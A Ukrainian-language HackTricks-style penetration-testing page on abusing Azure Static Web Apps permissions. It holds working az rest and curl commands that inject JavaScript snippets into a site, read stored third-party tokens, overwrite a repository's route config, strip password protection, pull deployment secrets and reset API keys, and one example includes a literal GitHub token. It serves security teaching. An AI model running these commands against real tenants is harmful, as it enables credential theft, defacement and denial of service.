9.7 KiB
Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
Azure Static Web Apps
Для отримання додаткової інформації про цю службу перегляньте:
{{#ref}} ../az-services/az-static-web-apps.md {{#endref}}
Microsoft.Web/staticSites/snippets/write
Можливо змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3).
Наступна команда створює фрагмент, який завжди буде завантажуватися веб-додатком::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Читання налаштованих облікових даних третьої сторони
Як пояснено в розділі App Service:
{{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}}
Запустивши наступну команду, можна прочитати облікові дані третьої сторони, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
Ось кілька прикладів команд для перевірки токенів:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Перезаписати файл - Перезаписати маршрути, HTML, JS...
Можливо перезаписати файл у репозиторії Github, що містить додаток через Azure, маючи токен Github, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт.
Це може бути використано зловмисниками для того, щоб в основному змінити вміст веб-додатку для надання шкідливого контенту (викрадення облікових даних, мнемонічних ключів...) або просто для перенаправлення певних шляхів на свої власні сервери, перезаписуючи файл staticwebapp.config.json.
Warning
Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також зможе перезаписати файл безпосередньо з Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
З цією дозволом можливо змінити пароль, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Ця дозволяє отримати токен ключа API для розгортання статичного додатку.
Цей токен дозволяє розгортати додаток.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Тоді, щоб оновити додаток, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи як працює Github Action https://github.com/Azure/static-web-apps-deploy, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому.
- Завантажте репозиторій https://github.com/staticwebdev/react-basic (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте
cd react-basic. - Змініть код, який ви хочете розгорнути
- Розгорніть його, виконавши (не забудьте змінити
<api-token>):
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Microsoft.Web/staticSites/write
З цією дозволом можливо змінити джерело статичного веб-додатку на інший репозиторій Github, однак, він не буде автоматично наданий, оскільки це потрібно робити з Github Action, зазвичай з токеном, який авторизував дію, оскільки цей токен не оновлюється автоматично в секретах Githb репозиторію (він просто додається автоматично, коли додаток створюється).
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
Microsoft.Web/staticSites/resetapikey/action
З цією дозволом можливо скинути API-ключ статичного веб-додатку, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
{{#include ../../../banners/hacktricks-training.md}}